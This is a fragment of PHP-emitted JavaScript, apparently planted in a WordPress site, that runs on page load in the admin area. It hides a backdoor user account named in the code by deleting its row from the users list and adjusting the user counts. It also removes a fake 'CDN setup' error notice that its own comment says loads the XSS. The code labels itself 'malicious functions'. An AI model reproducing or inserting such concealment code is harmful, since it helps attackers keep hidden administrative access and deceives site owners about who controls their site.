?>
<script>
function hideUserAndPopup() {
    document.addEventListener("DOMContentLoaded", () => {
        // if they're on the users page, hide that we have created a new user
        if (window.location.href.includes("/users.php") && window.location.href.includes("wp-admin")) {
            // remove the user from the user list
            document.querySelectorAll("#the-list tr").forEach((row) => {
        let td = row.querySelector("td.username a");
        if (td && td.textContent == "eishockey-magazinqmd"){
          row.remove();
        }
            });

            // decrement each user counter by 1
            document.querySelectorAll(".wrap .count").forEach((row) => {
                row.innerHTML = `(${parseInt(row.innerHTML.replace(/\D/g, "")) - 1})`;
            });

            // decrement "x items" count by one
            document.querySelectorAll(".wrap .displaying-num").forEach((row) => {
                row.innerHTML = `${parseInt(row.innerHTML.replace(/\D/g, "")) - 1} items`;
            });
        }

        // remove the error popup (which loads the XSS)
        document.querySelectorAll(".notice-error").forEach((element) => {
            if (element.textContent.includes("There was an error during CDN setup:")) {
                element.remove();
            }
        });
    });
}
    // run malicious functions
  try {
    hideUserAndPopup();
  } catch (e) {
    console.error("hideUserAndPopup failed:", e);
  }
</script>
